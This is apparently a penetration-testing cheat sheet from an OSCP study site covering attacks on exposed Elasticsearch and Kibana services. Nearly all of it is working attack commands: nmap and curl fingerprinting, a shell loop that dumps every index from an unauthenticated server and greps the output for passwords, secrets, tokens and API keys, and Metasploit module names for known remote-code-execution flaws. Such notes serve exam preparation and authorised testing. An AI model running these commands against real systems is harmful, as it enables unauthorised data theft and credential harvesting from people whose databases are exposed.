📡

Elasticsearch (Tcp 9200)

Notes from oscp.adot8.com — services.

#services#adot8

source · oscp.adot8.com · services/elasticsearch-less-than-tcp-9200-greater-than ↗

Elasticsearch <tcp 9200 / 9300>

HTTP+JSON search DB. Almost always no auth. Dump every index in one loop.

Nmap

code

01nmap -p9200,9300 --script "http-elasticsearch-head" -sV $ip

Fingerprint

code

01curl -s http://$ip:9200/
02curl -s http://$ip:9200/_cluster/health?pretty
03curl -s http://$ip:9200/_cat/indices?v
04curl -s http://$ip:9200/_nodes?pretty | head -60

Dump every index

code

01for idx in $(curl -s "http://$ip:9200/_cat/indices?h=index"); do
02  echo "== $idx =="
03  curl -s "http://$ip:9200/$idx/_search?pretty&size=1000" > "$idx.json"
04done
05grep -riE 'password|secret|token|api[_-]?key' *.json | head

Search

code

01curl -s "http://$ip:9200/_search?q=password&pretty&size=100"
02curl -s "http://$ip:9200/_search?q=*&pretty" | jq '.hits.hits[]._source' | less

Known RCE

CVE-2014-3120 — Groovy sandbox escape (ES < 1.2)

code

01use exploit/multi/elasticsearch/script_mvel_rce
02use exploit/multi/elasticsearch/search_groovy_script

CVE-2015-1427 — Groovy scripting engine
Kibana (5601) — CVE-2019-7609 prototype pollution RCE